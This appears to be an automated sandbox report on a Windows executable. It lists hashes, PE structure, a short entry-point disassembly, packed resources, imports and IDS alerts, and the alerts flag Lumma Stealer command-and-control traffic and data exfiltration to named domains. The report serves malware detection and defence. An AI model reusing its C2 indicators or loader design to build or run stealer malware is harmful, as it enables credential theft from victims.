SHA-512:	152AC37D13F62FAFCAE99F87930DFC84AB951B20DEB3D8FC12E145A0FDECCF373FBAF393F9E2AC7371763C857399BADC16C53C51A95C042D8C12DDE90BDB65E9
Malicious:	false
Reputation:	low
Preview:	Main:..291328..@S.U^w{4..6683..=Z#xIf]>@)~9%..466..M`]rS#r60<pj_u1/n$>y..6958..D>l{..16121..A7@bgA:2]..10783..R+:EVfxpAOg?Tew..21169..fpRVp+g.mC$_!..2425..3%$S=cY?]..10607..CSRj1"J~l\|\XofaH..11499..b]~xPqLA#-iF..18153..9:d}\~(&"Ql]2XGgh..6552..&L1s5oL*m6K@z^Aj0pt..23467..2Pv4wYu4_V.L..24433..o$_unEBqat..15244..lilBTC>#~l?..15267.._6KE1W'T9-..5952..U"%zkE,.VJw..2181..<cs4@FXq@XYA..10766..REsources are loaded..Data got successfully..dosHeader..ntHeaders..AllocateMemoryForPE..imageSize..alignment..filemapping..!filemapping..imageBase..if imageBase..delta..CopyPESections..PerformRelocation..LoadImports..entryPoint..entryFunc..entryFunc()..

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.405346920581365
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SC3sPWT51E.exe
File size:	1'461'248 bytes
MD5:	7cb559130bbd743d4cdb0891749c5643
SHA1:	7e8cb60118a778a23fe6215c790ace9f730e87fb
SHA256:	08c071698f610c4b2ad9a8c18ffac37b4db9728cff608eb92e7c0728ee5a2482
SHA512:	75d1c0c1f7a5b141847f6bdab88dad4ba2d71e6b857ae92f3b60053c98bc6c1672261baa2871d8fa4f2823af942278017adfc2e08a6a6670eadc73fc57f7d6bc
SSDEEP:	24576:7CZ0v6c8cawPzUopzenuwMloUm8CG1Xw+Eahn3R5+8pzb2hyS333XuuW8888DGAn:7x6c8caYzUopzenuwMloUm8CG1Xw+EaK
TLSH:	3265BF27610294F5CD3366F10AC7BBABE624CE1D54231A1FF7888D64EBF6910743E266
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........"..<N.........(.@...F...............P....@.................................JL....@... ............................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x401307
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x407025, 0x406ff4, 0x410d20
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d21a73dbff86d9b062174060882302c5

Entrypoint Preview

Instruction
xor eax, eax
mov dword ptr [00493054h], eax
jmp 00007F0E40F6D5EFh
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword ptr [ebp+08h]
mov dword ptr [esp], eax
call 00007F0E40F7AD61h
leave
cmp eax, 01h
sbb eax, eax
ret
nop
push ebp
mov ebp, esp
sub esp, 18h
mov dword ptr [esp], 00401340h
call 00007F0E40F6D7BAh
leave
ret
ret
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 10h
mov eax, dword ptr [ebp+08h]
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
mov dword ptr [ebp-0Ch], eax
mov dword ptr [ebp-04h], 00000000h
jmp 00007F0E40F6D7FBh
mov edx, dword ptr [ebp-0Ch]
mov eax, dword ptr [ebp-04h]
add eax, edx
mov ecx, dword ptr [ebp-08h]
mov edx, dword ptr [ebp-04h]
add edx, ecx
movzx eax, byte ptr [eax]
mov byte ptr [edx], al
add dword ptr [ebp-04h], 01h
mov eax, dword ptr [ebp-04h]
cmp eax, dword ptr [ebp+10h]
jc 00007F0E40F6D7C1h
nop
nop
leave
ret
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 000001BCh
mov dword ptr [ebp-00000194h], 00481950h
mov dword ptr [ebp-00000190h], 004831C0h
lea eax, dword ptr [ebp-0000018Ch]
mov dword ptr [eax], ebp
mov edx, 004016E7h
mov dword ptr [eax+04h], edx
mov dword ptr [eax+08h], esp
lea eax, dword ptr [ebp-000001ACh]
mov dword ptr [esp], eax
call 00007F0E40F7431Bh
lea eax, dword ptr [ebp-5Ch]
mov dword ptr [esp+04h], 00000017h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x94000	0x1030	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x98000	0xc29ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x15b000	0x5074	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x8ac2c	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x942b8	0x268	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x83ea0	0x84000	4b44dcc3991d16086efcccc74740892a	False	0.3881040630918561	data	6.317371568675739	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x85000	0x1cac	0x1e00	74d35296f54036d8de1b9148561802ce	False	0.04309895833333333	data	0.4789262222503328	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x87000	0xb2cc	0xb400	f44c8b55c8b078210a51d902dfed3e2d	False	0.29375	data	5.535179274349137	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x93000	0xad4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x94000	0x1030	0x1200	404aef98d5daabc585394efcb65efb27	False	0.2973090277777778	data	4.447610458183875	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x96000	0x34	0x200	a754b25f1b15c99877cb8acfab297384	False	0.0703125	data	0.28578180731160896	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x97000	0x8	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x98000	0xc29ac	0xc2a00	562362962f014390700473eebdbbbdd5	False	0.4992824743095697	data	7.580396567801481	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x15b000	0x5074	0x5200	ea0744716d5764d78acf4c85a7040ce0	False	0.6482469512195121	data	6.624920349670597	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/4	0x161000	0xd8	0x200	67ee53d973d97dc1f6902837e42133a2	False	0.189453125	Matlab v4 mat-file (little endian) *, rows 2, columns 262144	1.0556800958108754	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/19	0x162000	0x5c86	0x5e00	6a6d66b4c0e444730f975c5a13708562	False	0.31004820478723405	data	5.858584109710874	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/31	0x168000	0xcbf	0xe00	b52812b940d9f8e70136090a410e1414	False	0.30859375	data	4.674279678764711	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/45	0x169000	0x10c6	0x1200	077ab79e0badb45ac8060cb622906610	False	0.4924045138888889	data	4.745583972687986	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/57	0x16b000	0x534	0x600	05735a6a972caab9be3a076d7128ee14	False	0.3346354166666667	data	4.066639463094351	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/70	0x16c000	0xae	0x200	ecfb83f2010f3cc6cf356b8e23e5fc36	False	0.291015625	data	2.433417869353787	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/81	0x16d000	0x4aa	0x600	888577e9d93becae255b9c51c683988d	False	0.146484375	data	4.004889258778971	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/97	0x16e000	0x1099	0x1200	528d279b0b149c6fa25eda6391cf563c	False	0.4680989583333333	data	4.82827699828333	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/113	0x170000	0xf4	0x200	10f57fd77bc648dca311096855b1966b	False	0.359375	data	2.444261744030452	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
$6Q<1UE`,_6MB1]O	0x99130	0xdce	data	0.8862478777589134
$6Q<1UE`,_6MB1]O	0x99f00	0xdce	data	0.8862478777589134
$6Q<1UE`,_6MB1]O	0x9acd0	0xdce	data	0.8862478777589134
$I]5_}D=S<P	0x9baa0	0x4d9c	OpenPGP Public Key	0.8786994161465673
$I]5_}D=S<P	0xa083c	0x4d9c	OpenPGP Public Key	0.8786994161465673
$I]5_}D=S<P	0xa55d8	0x4d9c	OpenPGP Public Key	0.8786994161465673
$I]5_}D=S<P	0xaa374	0x4d9c	OpenPGP Public Key	0.8786994161465673
&L1S5OL*M6K@Z^AJ0PT	0xaf110	0x2c59	data	0.7379547256231833
/J[Z5N{6,%DGO	0xb1d6c	0x6e14	data	0.8778566359119944
18^J8*.C	0xb8b80	0x5408	data	0.8787188545927854
18^J8*.C	0xbdf88	0x5408	data	0.8787188545927854
18^J8*.C	0xc3390	0x5408	data	0.8787188545927854
18^J8*.C	0xc8798	0x5408	data	0.8787188545927854
18^J8*.C	0xcdba0	0x5408	data	0.8787188545927854
2PV4WYU4_V.L	0xd2fa8	0x18cb	data	0.8410272569717977
3%$S=CY?]	0xd4874	0xc78	data	0.9404761904761905
7LC*AA>%	0xd54ec	0x830	data	0.8926526717557252
7LC*AA>%	0xd5d1c	0x830	data	0.8926526717557252
9:D}\~(&"QL]2XGGH	0xd654c	0x2627	data	0.8567625678304495
<CS4@FXQ@XYA	0xd8b74	0x25547	data	0.8003701693230348
=Z#XIF]>@)~9%	0xfe0bc	0x3245	data	0.8614499961146942
@S.U^W{4	0x101304	0x163d	data	0.700158088881082
A7@BGA:2]	0x102944	0x16a5	data	0.8802829049508366
BOBA	0x103fec	0x15b	ASCII text	0.8933717579250721
B]~XPQLA#-IF	0x104148	0x2589	data	0.8446248308877095
CSRJ1"J~L\|\XOFAH	0x1066d4	0x3277	data	0.8488273086152179
D>L{	0x10994c	0x19e7	data	0.8849343990348364
E+& LYC"A]%	0x10b334	0x6ba	data	0.8989547038327527
E+& LYC"A]%	0x10b9f0	0x6ba	data	0.8989547038327527
E+& LYC"A]%	0x10c0ac	0x6ba	data	0.8989547038327527
FPRVP+G.MC$_!	0x10c768	0x8f1	data	0.9217999126256007
KEY FOR MY HOMY	0x10d05c	0x18	ASCII text, with no line terminators	1.25
LILBTC>#~L?	0x10d074	0x3d	ISO-8859 text, with CR, NEL line terminators	1.0327868852459017
M`]RS#R60<PJ_U1/N$>Y	0x10d0b4	0x339c	data	0.8512715712988193
O$_UNEBQAT	0x110450	0x3f31	data	0.8479322494900167
Q=\TCA5@9	0x114384	0xc4e	data	0.8866666666666667
Q=\TCA5@9	0x114fd4	0xc4e	data	0.8866666666666667
Q=\TCA5@9	0x115c24	0xc4e	data	0.8866666666666667
R+:EVFXPAOG?TEW	0x116874	0x23a4	data	0.8334064007014468
RAGB9M\|UDW--	0x118c18	0xbd4	data	0.8880449141347424
RAGB9M\|UDW--	0x1197ec	0xbd4	data	0.8880449141347424
RVQVXIJ	0x11a3c0	0x757c	data	0.8774770581194308
RVQVXIJ	0x12193c	0x757c	data	0.8774770581194308
RVQVXIJ	0x128eb8	0x757c	data	0.8774770581194308
U"%ZKE,.VJW	0x130434	0x74	data	1.0948275862068966
VB6}2*J_T$5XO6K!K	0x1304a8	0x2a82	data	0.87897445322551
_6KE1W'T9-	0x132f2c	0x33d5	data	0.8333710151480895
{[7U#RSYEV6GCFVOW	0x136304	0x6abc	data	0.8776167471819646
{[7U#RSYEV6GCFVOW	0x13cdc0	0x6abc	data	0.8776167471819646
{[7U#RSYEV6GCFVOW	0x14387c	0x6abc	data	0.8776167471819646
H{M%G0WPI:	0x14a338	0x26ff	OpenPGP Secret Key	0.8790944605829911
H{M%G0WPI:	0x14ca38	0x26ff	OpenPGP Secret Key	0.8790944605829911
H{M%G0WPI:	0x14f138	0x26ff	OpenPGP Secret Key	0.8790944605829911
:PX%^?>\	0x151838	0x3079	data	0.8783141268434201
:PX%^?>\	0x1548b4	0x3079	data	0.8783141268434201
:PX%^?>\	0x157930	0x3079	data	0.8783141268434201

Imports

DLL	Import
KERNEL32.dll	CloseHandle, CreateEventA, CreateFileMappingA, CreateSemaphoreA, DeleteCriticalSection, DuplicateHandle, EnterCriticalSection, FindResourceA, FormatMessageA, GetConsoleWindow, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetHandleInformation, GetLastError, GetModuleHandleA, GetModuleHandleW, GetProcAddress, GetProcessAffinityMask, GetProcessHeap, GetSystemTimeAsFileTime, GetThreadContext, GetThreadPriority, GetTickCount, HeapAlloc, InitializeCriticalSection, IsDBCSLeadByteEx, IsDebuggerPresent, LeaveCriticalSection, LoadLibraryA, LoadLibraryW, LoadResource, LocalFree, LockResource, MapViewOfFile, MultiByteToWideChar, OpenProcess, OutputDebugStringA, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, ReleaseSemaphore, ResetEvent, ResumeThread, SetEvent, SetLastError, SetProcessAffinityMask, SetThreadContext, SetThreadPriority, SetUnhandledExceptionFilter, SizeofResource, Sleep, SuspendThread, TlsAlloc, TlsGetValue, TlsSetValue, TryEnterCriticalSection, UnmapViewOfFile, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WideCharToMultiByte
msvcrt.dll	__getmainargs, __initenv, __mb_cur_max, __p__commode, __p__fmode, __set_app_type, __setusermatherr, _amsg_exit, _beginthreadex, _cexit, _endthreadex, _errno, _filelengthi64, _fileno, _fstati64, _get_osfhandle, _initterm, _iob, _lock, _lseeki64, _onexit, _setjmp3, _unlock, _vsnprintf, _vsnwprintf, _wfopen, abort, atoi, calloc, exit, fclose, fflush, fgetpos, fgetwc, fopen, fprintf, fputc, fputs, fread, free, fsetpos, fwrite, getc, getenv, getwc, iswctype, localeconv, longjmp, malloc, memchr, memcmp, memcpy, memmove, memset, printf, putc, putwc, realloc, setlocale, setvbuf, signal, strchr, strcmp, strcoll, strcpy, strerror, strftime, strlen, strncmp, strtol, strtoul, strxfrm, towlower, towupper, ungetc, ungetwc, vfprintf, wcscoll, wcsftime, wcslen, wcsxfrm, _write, _strdup, _read, _fileno, _fdopen
USER32.dll	ShowWindow

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T07:47:48.893770+0100	2057935	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.6	62137	1.1.1.1	53	UDP
2024-12-10T07:47:48.893770+0100	2057969	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.6	62137	1.1.1.1	53	UDP
2024-12-10T07:47:49.128176+0100	2057945	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.6	54284	1.1.1.1	53	UDP
2024-12-10T07:47:49.128176+0100	2057983	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.6	54284	1.1.1.1	53	UDP
2024-12-10T07:47:50.565536+0100	2057946	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49714	172.67.162.65	443	TCP
2024-12-10T07:47:50.565536+0100	2057984	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49714	172.67.162.65	443	TCP
2024-12-10T07:47:50.565536+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49714	172.67.162.65	443	TCP
2024-12-10T07:47:51.395004+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49714	172.67.162.65	443	TCP
2024-12-10T07:47:51.395004+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49714	172.67.162.65	443	TCP
2024-12-10T07:47:52.676605+0100	2057946	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49715	172.67.162.65	443	TCP
2024-12-10T07:47:52.676605+0100	2057984	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49715	172.67.162.65	443	TCP
2024-12-10T07:47:52.676605+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49715	172.67.162.65	443	TCP
2024-12-10T07:47:53.700164+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49715	172.67.162.65	443	TCP
2024-12-10T07:47:53.700164+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49715	172.67.162.65	443	TCP
2024-12-10T07:47:55.314765+0100	2057946	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49726	172.67.162.65	443	TCP
2024-12-10T07:47:55.314765+0100	2057984	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49726	172.67.162.65	443	TCP
2024-12-10T07:47:55.314765+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49726	172.67.162.65	443	TCP
2024-12-10T07:47:57.830374+0100	2057946	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49733	172.67.162.65	443	TCP
2024-12-10T07:47:57.830374+0100	2057984	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49733	172.67.162.65	443	TCP
2024-12-10T07:47:57.830374+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49733	172.67.162.65	443	TCP
2024-12-10T07:48:00.400807+0100	2057946	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49739	172.67.162.65	443	TCP
2024-12-10T07:48:00.400807+0100	2057984	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49739	172.67.162.65	443	TCP
2024-12-10T07:48:00.400807+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49739	172.67.162.65	443	TCP
2024-12-10T07:48:03.854690+0100	2057946	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49750	172.67.162.65	443	TCP
2024-12-10T07:48:03.854690+0100	2057984	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49750	172.67.162.65	443	TCP
2024-12-10T07:48:03.854690+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49750	172.67.162.65	443	TCP
2024-12-10T07:48:04.584027+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49750	172.67.162.65	443	TCP
2024-12-10T07:48:06.641874+0100	2057946	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49757	172.67.162.65	443	TCP
2024-12-10T07:48:06.641874+0100	2057984	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49757	172.67.162.65	443	TCP
2024-12-10T07:48:06.641874+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49757	172.67.162.65	443	TCP
2024-12-10T07:48:06.649588+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	49757	172.67.162.65	443	TCP
2024-12-10T07:48:10.137703+0100	2057946	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49771	172.67.162.65	443	TCP
2024-12-10T07:48:10.137703+0100	2057984	ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)	1	192.168.2.6	49771	172.67.162.65	443	TCP
2024-12-10T07:48:10.137703+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49771	172.67.162.65	443	TCP
2024-12-10T07:48:10.941515+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49771	172.67.162.65	443	TCP
2024-12-10T07:48:12.494692+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49778	172.67.161.29	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 07:47:49.271977901 CET	49714	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:49.272034883 CET	443	49714	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:49.272113085 CET	49714	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:49.345263004 CET	49714	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:49.345289946 CET	443	49714	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:50.565459013 CET	443	49714	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:50.565536022 CET	49714	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:50.598651886 CET	49714	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:50.598674059 CET	443	49714	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:50.598968029 CET	443	49714	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:50.641549110 CET	49714	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:50.678941965 CET	49714	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:50.678970098 CET	49714	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:50.679050922 CET	443	49714	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:51.395050049 CET	443	49714	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:51.395152092 CET	443	49714	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:51.395267010 CET	49714	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:51.397351980 CET	49714	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:51.397372961 CET	443	49714	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:51.463423967 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:51.463490009 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:51.463608980 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:51.464020967 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:51.464040995 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:52.676476002 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:52.676604986 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:52.678136110 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:52.678155899 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:52.678406954 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:52.679828882 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:52.679828882 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:52.679933071 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.700155020 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.700232029 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.700259924 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.700297117 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.700306892 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:53.700329065 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.700342894 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:53.708646059 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.708679914 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.708725929 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:53.708739042 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.708836079 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:53.716931105 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.766421080 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:53.766441107 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.813324928 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:53.819557905 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.860157013 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:53.860173941 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.895756960 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.895811081 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:53.895817041 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.895831108 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.895891905 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:53.895910978 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.895936966 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.895986080 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:53.896203995 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:53.896219969 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:53.896254063 CET	49715	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:53.896259069 CET	443	49715	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:54.101980925 CET	49726	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:54.102042913 CET	443	49726	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:54.102134943 CET	49726	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:54.102446079 CET	49726	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:54.102463007 CET	443	49726	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:55.314668894 CET	443	49726	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:55.314764977 CET	49726	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:55.316148996 CET	49726	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:55.316159964 CET	443	49726	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:55.316384077 CET	443	49726	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:55.317728996 CET	49726	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:55.317893982 CET	49726	443	192.168.2.6	172.67.162.65
